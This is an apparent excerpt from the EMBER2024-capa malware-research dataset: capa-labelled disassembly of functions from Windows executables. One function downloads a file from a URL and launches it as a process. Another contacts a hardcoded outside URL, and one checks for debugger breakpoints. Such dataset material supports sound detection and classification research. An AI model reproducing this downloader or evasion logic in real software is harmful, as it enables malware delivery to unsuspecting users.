joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001e40
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rsi, rdx
mov r14, rcx
xor r15d, r15d
lea rcx, [rsp + 0x78]
call fcn.140001ca0
mov rdi, rax
mov r9, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140001e89
mov r9, qword [rsi]
mov rsi, qword [rsi + 0x10]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140001ecc
lea rax, [rcx + rsi]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x140001eb4
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140001edf
mov qword [rsp + 0x20], rsi
mov rdx, rsi
mov rcx, rdi
call fcn.140002710
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001f4f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a60
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
cmp qword [r14 + 0x18], 0xf
jbe 0x140001f6a
mov r14, qword [r14]
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140001ff0
mov dword [rbp - 0x60], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov bl, 1
jmp 0x140001ff2
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002032
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000202d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000202d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a60
movzx eax, bl
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140002a40
mov rbx, qword [rsp + 0x160]
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003428
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003472
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003472
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003472
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003472
cmp dword [rcx + 0x84], 0xe
jbe 0x140003472
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003474
xor al, al
add rsp, 0x28
ret
Function at 0x10000e470
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
mov dword [0x100050e50], ecx
xor eax, eax
nop dword [rax]
add eax, 1
lea rdx, [0x100050e50]
movsxd rcx, eax
mov r8d, dword [rdx + rcx*4 - 4]
mov ecx, r8d
shr ecx, 0x1e
xor ecx, r8d
imul ecx, ecx, 0x6c078965
mov r8d, eax
add r8d, ecx
mov ecx, eax
mov dword [rdx + rcx*4], r8d
cmp eax, 0x26f
jl 0x10000e480
mov dword [0x100035d60], 0x270
lea rsp, [rbp]
pop rbp
ret

Function at 0x10000e4d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
mov eax, 0xffffffff
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x100050e50]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x100050e50]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x100050e50]
xor edx, dword [r8 + rcx*4 + 0x634]
mov ecx, eax
lea r8, [0x100050e50]
mov dword [r8 + rcx*4], edx
cmp eax, 0xe2
jl 0x10000e4e0
mov eax, 0xe2
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x100050e50]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x100050e50]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x100050e50]
xor edx, dword [r8 + rcx*4 - 0x38c]
mov ecx, eax
lea r8, [0x100050e50]
mov dword [r8 + rcx*4], edx
cmp eax, 0x26e
jl 0x10000e550
mov edx, dword [0x100050e50]
mov ecx, dword [0x10005180c]
mov eax, edx
and eax, 1
neg rax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x100051480]
mov dword [0x10005180c], eax
mov dword [0x100035d60], 0
lea rsp, [rbp]
pop rbp
ret

Function at 0x10000e600
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x30]
mov qword [rbp - 8], rbx
mov ebx, dword [0x100035d60]
add dword [0x100035d60], 1
mov eax, dword [0x10004f7d0]
cmp eax, dword [0x100035530]
jne 0x10000e630
cmp ebx, 0x271
jb 0x10000e654
mov ecx, dword [0x10004f7d0]
call fcn.10000e470
not dword [0x10004f7d0]
mov eax, dword [0x10004f7d0]
mov dword [0x100035530], eax
mov ebx, 0x270
nop
cmp ebx, 0x270
jne 0x10000e670
call fcn.10000e4d0
xor ebx, ebx
mov dword [0x100035d60], 1
nop dword [rax]
and ebx, ebx
lea rax, [0x100050e50]
mov edx, dword [rax + rbx*4]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov rbx, qword [rbp - 8]
lea rsp, [rbp]
pop rbp
ret
Function at 0x1000108f0
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x40]
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rsi
mov ax, word [0x1000352c0]
cmp ax, 0xcb
je 0x100010a34
cmp ax, 0xcc
je 0x100010a34
mov rax, qword [0x100051b50]
test rax, rax
je 0x100010939
mov ecx, dword [0x100051940]
call rax
mov rbx, rax
jmp 0x100010940
lea rbx, [0x100051948]
cmp word [0x100051930], 0
jle 0x100010968
lea rcx, [0x100051900]
call fcn.100010c30
mov rcx, rbx
call fcn.100010310
mov rcx, rbx
call fcn.1000103c0
nop
mov rsi, qword [rbx]
jmp 0x100010991
mov rdi, qword [rsi + 8]
mov rax, qword [rsi]
and rax, 1
jne 0x10001098a
mov rdx, rsi
mov rcx, rbx
call fcn.10000f460
jmp 0x10001098e
and qword [rsi], 0xfffffffffffffffe
mov rsi, rdi
test rsi, rsi
jne 0x100010970
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x100051930], 0
jle 0x100010a34
lea rdx, [0x100051810]
mov rcx, rbx
call fcn.10000f610
mov rsi, rax
test rax, rax
je 0x100010a00
mov rax, qword [0x1000518b0]
mov qword [rsi + 0x18], rax
cmp qword [0x1000518b0], 0
je 0x1000109f0
mov rax, qword [0x1000518b0]
mov qword [rax + 0x10], rsi
nop dword [rax]
mov rax, qword [rbx + 0xa0]
mov qword [0x1000518b0], rax
nop
sub word [0x100051930], 1
cmp word [0x100051930], 0
sete bl
lea rcx, [0x100051900]
call fcn.100010c70
test bl, bl
je 0x100010a34
lea rcx, [0x100051900]
call fcn.100010c10
nop dword [rax]
mov rbx, qword [rbp - 0x18]
mov rdi, qword [rbp - 0x10]
mov rsi, qword [rbp - 8]
lea rsp, [rbp]
pop rbp
ret
Function at 0x100013830
Capabilities:
Get common file path

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x70]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], r12
mov sil, cl
mov rdi, rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
test sil, sil
je 0x10001396e
movzx eax, sil
sub eax, 0xffffffc0
mov word [rbp - 8], ax
mov word [rbp - 6], 0x3a
mov word [rbp - 4], 0
mov word [rbp - 2], 0
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
xor r8, r8
xor edx, edx
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000b5f0
mov r8, qword [rdi]
test r8, r8
jne 0x1000138bf
lea r8, [0x100050c20]
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
mov edx, ebx
call sub.kernel32.dll_GetFullPathNameW
mov r12d, eax
test eax, eax
jne 0x10001392b
call sub.kernel32.dll_GetLastError
mov ecx, eax
call fcn.100003900
lea rcx, [rbp - 0x18]
call fcn.10000a800
and esi, 0xff
lea edx, [esi + 0x41]
sub edx, 1
and edx, 0xffff
lea rcx, [rbp - 0x20]
call fcn.10000ad70
mov rdx, qword [rbp - 0x20]
lea r8, [0x100038774]
lea rcx, [rbp - 0x18]
call fcn.10000abf0
mov rdx, qword [rbp - 0x18]
mov rcx, rdi
call fcn.10000b270
jmp 0x1000139c0
mov eax, ebx
sub rax, 1
mov edx, r12d
cmp rax, rdx
je 0x100013944
mov edx, r12d
mov rcx, rdi
call fcn.10000b5f0
cmp byte [0x100035500], 0
jne 0x1000139c0
mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000b7c0
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000b2d0
nop dword [rax]
jmp 0x1000139c0
xor edx, edx
xor ecx, ecx
call sub.kernel32.dll_GetCurrentDirectoryW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000b5f0
mov rdx, qword [rdi]
test rdx, rdx
jne 0x100013996
lea rdx, [0x100050c20]
mov ecx, ebx
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x100035500], 0
jne 0x1000139c0
mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000b7c0
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000b2d0
nop
nop
mov rcx, rbp
call fcn.100013800
mov rbx, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
mov r12, qword [rbp - 0x30]
lea rsp, [rbp]
pop rbp
ret
Function at 0x100013f10
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x160]
mov qword [rbp - 0x138], rbx
mov qword [rbp - 0x130], rdi
mov qword [rbp - 0x128], rsi
mov qword [rbp - 0x120], r12
mov qword [rbp - 0x118], r13
mov qword [rbp - 0x110], r14
xor esi, esi
mov qword [0x100050b60], 0
mov dword [rbp - 4], 0
lea rdx, [rbp - 0x108]
mov r8d, 0x104
xor ecx, ecx
call sub.kernel32.dll_GetModuleFileNameA
mov ebx, eax
and eax, eax
mov byte [rbp + rax - 0x108], 0
mov r8d, ebx
xor edx, edx
mov rcx, rbp
call fcn.100014130
movsxd rax, ebx
lea r8, [rax + 1]
mov rax, qword [0x100050b60]
mov rdx, qword [rax]
lea rcx, [rbp - 0x108]
call fcn.1000030d0
call sub.kernel32.dll_GetCommandLineA
mov qword [0x100035330], rax
mov r14, rax
jmp 0x1000140bf
add r14, 1
movzx eax, byte [r14]
sub eax, 1
cmp eax, 0x20
jb 0x100013fc0
cmp byte [r14], 0
je 0x1000140c9
nop
xor dil, dil
mov r12, r14
xor ebx, ebx
jmp 0x100014028
mov al, byte [r14]
cmp al, 1
jb 0x100014020
sub al, 0x20
jbe 0x100013ffc
sub al, 2
je 0x100014008
jmp 0x100014020
test dil, dil
je 0x10001402e
add ebx, 1
jmp 0x100014024
cmp byte [r14 + 1], 0x22
je 0x100014018
test dil, dil
sete dil
jmp 0x100014024
add r14, 1
jmp 0x100014024
add ebx, 1
nop
add r14, 1
cmp byte [r14], 0
jne 0x100013fe8
test esi, esi
je 0x1000140bc
mov r8d, ebx
mov edx, esi
mov rcx, rbp
call fcn.100014130
xor dil, dil
mov r14, r12
mov rdx, qword [0x100050b60]
movsxd rax, esi
mov r13, qword [rdx + rax*8]
jmp 0x1000140b0
mov al, byte [r14]
cmp al, 1
jb 0x1000140a0
sub al, 0x20
jbe 0x100014074
sub al, 2
je 0x100014088
jmp 0x1000140a0
test dil, dil
je 0x1000140b6
mov al, byte [r14]
mov byte [r13], al
add r13, 1
jmp 0x1000140ac
cmp byte [r14 + 1], 0x22
je 0x100014098
test dil, dil
sete dil
jmp 0x1000140ac
add r14, 1
jmp 0x1000140ac
mov al, byte [r14]
mov byte [r13], al
add r13, 1
nop
add r14, 1
cmp byte [r14], 0
jne 0x100014060
mov byte [r13], 0
nop
add esi, 1
cmp byte [r14], 0
jne 0x100013fc4
mov dword [0x100050b50], esi
movsxd rax, esi
lea rdx, [rax + 1]
shl rdx, 3
lea rcx, [0x100050b60]
call fcn.100010690
mov rax, qword [0x100050b60]
movsxd rsi, esi
mov qword [rax + rsi*8], 0
mov rbx, qword [rbp - 0x138]
mov rdi, qword [rbp - 0x130]
mov rsi, qword [rbp - 0x128]
mov r12, qword [rbp - 0x120]
mov r13, qword [rbp - 0x118]
mov r14, qword [rbp - 0x110]
lea rsp, [rbp]
pop rbp
ret
Function at 0x100030600
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x50]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r13
mov rsi, rcx
mov edi, edx
mov r12d, r8d
mov r13, r9
mov qword [rbp - 8], 0
nop
mov edx, r12d
mov ecx, edi
xor r9d, r9d
xor r8, r8
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
test ebx, ebx
jle 0x100030681
movsxd rdx, ebx
sub rdx, 1
lea rcx, [rbp - 8]
call fcn.10000b5f0
cmp ebx, 1
jle 0x100030670
mov r8, qword [rbp - 8]
mov r9d, ebx
mov edx, r12d
mov ecx, edi
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
nop
mov rcx, rsi
mov rdx, qword [rbp - 8]
xor r8d, r8d
call fcn.10000b0d0
jmp 0x10003068c
mov rcx, rsi
mov rdx, r13
call fcn.100008e30
nop
mov rcx, rbp
call fcn.1000305e0
mov rbx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
mov r13, qword [rbp - 0x10]
lea rsp, [rbp]
pop rbp
ret

Function at 0x100030870
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x60]
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0
nop
xor ebx, ebx
nop dword [rax]
add ebx, 1
mov eax, ebx
lea rdx, [0x1000525e0]
lea rcx, [rdx + rax*8 - 8]
xor edx, edx
call fcn.100008e30
mov eax, ebx
lea rdx, [0x100052620]
mov dword [rdx + rax*4 - 4], 0xffffffff
cmp ebx, 7
jl 0x100030890
call sub.kernel32.dll_GetThreadLocale
mov esi, eax
lea r8, [rbp - 0xc]
mov ecx, esi
mov r9d, 0xb
mov edx, 0x100b
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x100030944
nop
mov byte [rsp + 0x20], 1
lea rdx, [rbp - 0xc]
xor r9d, r9d
mov r8d, 0xa
lea rcx, [rbp - 0x18]
call fcn.1000099f0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.10002a2a0
mov ebx, eax
sub eax, 3
cmp eax, 3
jae 0x100030944
lea rcx, [0x100030710]
mov r8d, ebx
mov edx, esi
mov r9d, 4
call sub.kernel32.dll_EnumCalendarInfoA
lea rcx, [0x1000307c0]
mov r8d, ebx
mov edx, esi
mov r9d, 3
call sub.kernel32.dll_EnumCalendarInfoA
nop dword [rax]
nop
mov rcx, rbp
call fcn.100030850
mov rbx, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
lea rsp, [rbp]
pop rbp
ret
Function at 0x100031000
Capabilities:
Check os version

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0xc0]
mov qword [0x100052660], 0
mov dword [rbp - 0x94], 0x94
lea rcx, [rbp - 0x94]
call sub.kernel32.dll_GetVersionExA
mov eax, dword [rbp - 0x84]
mov dword [0x1000524a0], eax
mov eax, dword [rbp - 0x90]
mov dword [0x1000524b0], eax
mov eax, dword [rbp - 0x8c]
mov dword [0x1000524c0], eax
mov eax, dword [rbp - 0x88]
mov dword [0x1000524d0], eax
lea rdx, [0x1000524e1]
lea rcx, [rbp - 0x80]
mov r8d, pe_nt_image_headers64
call fcn.1000030d0
lea rcx, [rbp - 0x80]
call fcn.1000040c0
mov byte [0x1000524e0], al
lea rcx, str.kernel32
call sub.kernel32.dll_GetModuleHandleA
mov qword [0x100052670], rax
test rax, rax
je 0x1000310b4
mov rcx, qword [0x100052670]
lea rdx, str.GetDiskFreeSpaceExA
call sub.kernel32.dll_GetProcAddress
mov qword [0x100052660], rax
cmp dword [0x1000524b0], 6
jae 0x1000310c8
mov dword [0x100036820], 0
nop
cmp dword [0x1000524b0], 6
jb 0x1000310e4
cmp dword [0x1000524c0], 1
jb 0x1000310e4
mov dword [0x100036830], 2
nop
lea rsp, [rbp]
pop rbp
ret
Function at 0x1400124a0
Capabilities:
Parse pe header

Disassembly:
cmp rcx, 0xffffffffffffffff
je 0x1400124ce
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x1400124ce
mov edx, dword [rcx + 0x3c]
xor eax, eax
cmp rdx, 0xfffffff
ja 0x1400124cd
add rdx, rcx
je 0x1400124cd
cmp dword [rdx], 0x4550
cmove rax, rdx
ret
xor eax, eax
ret

Function at 0x1400124e0
Capabilities:
Hash data with crc32

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
call fcn.140012500
mov rcx, rsi
mov rdx, rax
add rsp, 0x20
pop rsi
jmp 0x140012530

Function at 0x140012bf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rdx, rdx
je 0x140012571
mov eax, 0xffffffff
xor r8d, r8d
lea r9, [0x14008dd10]
nop word cs:[rax + rax]
movzx r10d, al
shr eax, 8
movzx r11d, byte [rcx + r8]
xor r10d, r11d
xor eax, dword [r9 + r10*4]
inc r8
mov r10d, r8d
cmp r10, rdx
jb 0x140012550
not eax
ret
xor eax, eax
ret
push rsi
sub rsp, 0x20
mov rsi, rcx
call fcn.1400128d0
lea rdx, [rax + rax]
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp 0x140012530

Function at 0x140012c50
Capabilities:
Read .ini file

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
call fcn.140012e00
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140012e60
Function at 0x140012e60
Capabilities:
Read .ini file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x488
movaps xmmword [rsp + 0x470], xmm6
mov rax, qword [0x1400a13c0]
xor rax, rsp
mov qword [rsp + 0x468], rax
cmp byte [0x1400b5f64], 0
je 0x140012e9d
xor esi, esi
jmp 0x14001305f
mov rbx, rcx
lea rcx, str.beep.wav
lea rdi, [rsp + 0x260]
mov r8d, 0x104
mov rdx, rdi
call fcn.140013090
mov ecx, 0x100
call fcn.140044bfc
mov rsi, rax
mov eax, dword [0x1400b5f68]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0xe89
lea r8, str.https:__bigpackets.com_streamer_t.php_a_ib_ic_i
mov edx, 0x80
mov rcx, rsi
mov r9d, 0x1a
call fcn.1400130d0
mov rcx, rdi
mov rdx, rsi
call fcn.140013150
test al, al
jne 0x140012f13
lea rdx, str.Failed_to_download_translations__may_cause_crashing_n
xor ecx, ecx
call fcn.140013190
mov rcx, rsi
call fcn.140044bc8
lea rdi, [rsp + 0x260]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140054754
test eax, eax
sete sil
jne 0x14001305f
mov dword [rsp + 0x3c], esi
mov ecx, dword [rbx]
call fcn.1400132c0
mov rbx, rax
xor ecx, ecx
call fcn.1400132c0
mov r14, rax
lea r12, [rsp + 0x240]
lea r13, [rsp + 0x40]
lea rbp, [0x14013d870]
mov r15, qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movaps xmm6, xmmword [0x14008ceb0]
xor esi, esi
jmp 0x140012fc3
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x100
mov rcx, rbx
mov rdx, r12
mov r8, rbp
mov r9, r13
call r15
mov rcx, r13
mov rdx, rbp
call fcn.14005c2b0
test eax, eax
je 0x140013020
mov ecx, esi
mov rdx, r13
call fcn.1400132e0
inc esi
cmp esi, 0x400
je 0x140013054
mov edx, 0xc
mov rcx, r12
lea r8, [0x140093776]
mov r9d, esi
call fcn.1400130d0
mov r8d, 0x200
mov rcx, r13
xor edx, edx
call fcn.14003d750
cmp byte [0x14013d88a], 1
je 0x140012f80
mov byte [0x14013d88a], 1
movaps xmmword [0x14013d870], xmm6
movabs rax, 0x44003a0044
mov qword [0x14013d880], rax
mov word [0x14013d888], 0xddf5
jmp 0x140012f80
cmp r14, rbx
je 0x140013054
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x100
mov rcx, r14
mov rdx, r12
mov r8, rbp
mov r9, r13
call r15
mov rcx, r13
mov rdx, rbp
call fcn.14005c2b0
test eax, eax
jne 0x140012fab
mov byte [0x1400b5f64], 1
mov esi, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x468]
xor rcx, rsp
call fcn.140046610
mov eax, esi
movaps xmm6, xmmword [rsp + 0x470]
add rsp, 0x488
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140013bf0
Capabilities:
Create thread

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, r9
mov rbx, rdx
mov r14, rcx
mov ebp, dword [rsp + 0x98]
mov r15, qword [rsp + 0x90]
mov ecx, 0x38
call fcn.140044b84
mov rsi, rax
mov qword [rax], r14
mov qword [rax + 8], rbx
mov dword [rax + 0x10], 0x50
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
mov dword [rax + 0x28], ebp
mov byte [rax + 0x2c], 0
mov dword [rax + 0x30], 0xffffffff
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140013cc0]
xor ecx, ecx
xor edx, edx
mov r9, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [rsi + 0x30]
cmp ebx, 0xffffffff
je 0x140013c8d
mov rcx, rsi
call fcn.140044bc0
cmp ebx, 1
sete al
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov edi, 0x320
nop word cs:[rax + rax]
mov ecx, 5
call fcn.140013f90
mov ebx, dword [rsi + 0x30]
cmp ebx, 0xffffffff
jne 0x140013c72
dec edi
jne 0x140013ca0
xor eax, eax
jmp 0x140013c80
Function at 0x140014950
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
mov r9d, edx
xor eax, eax
cmp edx, 3
jl 0x140014ab3
lea eax, [r9 - 2]
dec rax
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
lea rax, [rdx + rdx*2]
lea r11, [rcx + rax]
add r11, 2
lea r10, [rdx*4]
cmp r11, r8
jb 0x140014a2c
lea r11, [r8 + rdx*4]
add r11, 3
cmp r11, rcx
jb 0x140014a2c
inc rdx
lea r11, [rcx + 2]
xor esi, esi
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
nop dword [rax + rax]
movzx ebx, byte [r11 - 2]
shr ebx, 2
movzx ebx, byte [rbx + rdi]
mov byte [r8 + rsi*4], bl
movzx ebx, byte [r11 - 2]
movzx r14d, byte [r11 - 1]
shl ebx, 4
and ebx, 0x30
shr r14d, 4
or r14d, ebx
movzx ebx, byte [r14 + rdi]
mov byte [r8 + rsi*4 + 1], bl
movzx ebx, byte [r11 - 1]
movzx r14d, byte [r11]
and ebx, 0xf
shr r14d, 6
lea ebx, [r14 + rbx*4]
movzx ebx, byte [rbx + rdi]
mov byte [r8 + rsi*4 + 2], bl
movzx ebx, byte [r11]
and ebx, 0x3f
movzx ebx, byte [rbx + rdi]
mov byte [r8 + rsi*4 + 3], bl
inc rsi
add r11, 3
cmp rdx, rsi
jne 0x1400149c0
jmp 0x140014aa9
inc rdx
lea r11, [rcx + 2]
xor esi, esi
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
nop dword [rax]
movzx ebx, byte [r11 - 2]
mov r14d, ebx
shr r14d, 2
movzx ebp, byte [r14 + rdi]
mov byte [r8 + rsi*4], bpl
movzx r14d, byte [r11 - 1]
shl ebx, 4
and ebx, 0x30
mov r15d, r14d
shr r15d, 4
or r15d, ebx
movzx ebx, byte [r15 + rdi]
mov byte [r8 + rsi*4 + 1], bl
movzx ebx, byte [r11]
and r14d, 0xf
mov r15d, ebx
shr r15d, 6
lea r14d, [r15 + r14*4]
movzx ebp, byte [r14 + rdi]
mov byte [r8 + rsi*4 + 2], bpl
and ebx, 0x3f
movzx ebx, byte [rbx + rdi]
mov byte [r8 + rsi*4 + 3], bl
inc rsi
add r11, 3
cmp rdx, rsi
jne 0x140014a40
add r8, r10
add r8, 4
add eax, 3
mov edx, eax
sub r9d, eax
test r9b, 2
jne 0x140014afa
test r9b, 1
je 0x140014b4a
movzx eax, byte [rcx + rdx]
shr eax, 2
lea r9, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rax + r9]
mov byte [r8], al
movzx eax, byte [rcx + rdx]
shl eax, 4
and eax, 0x30
movzx eax, byte [rax + r9]
mov byte [r8 + 1], al
mov word [r8 + 2], 0x3d3d
jmp 0x140014b46
movzx eax, byte [rcx + rdx]
shr eax, 2
lea r9, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rax + r9]
mov byte [r8], al
movzx eax, byte [rcx + rdx]
shl eax, 4
and eax, 0x30
movzx r10d, byte [rcx + rdx + 1]
shr r10d, 4
or r10d, eax
movzx eax, byte [r10 + r9]
mov byte [r8 + 1], al
movzx eax, byte [rcx + rdx + 1]
and eax, 0xf
movzx eax, byte [r9 + rax*4]
mov byte [r8 + 2], al
mov byte [r8 + 3], 0x3d
add r8, 4
mov byte [r8], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140015f20
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x140015f4a
mov r8, rcx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x38
ret
Function at 0x14002cb90
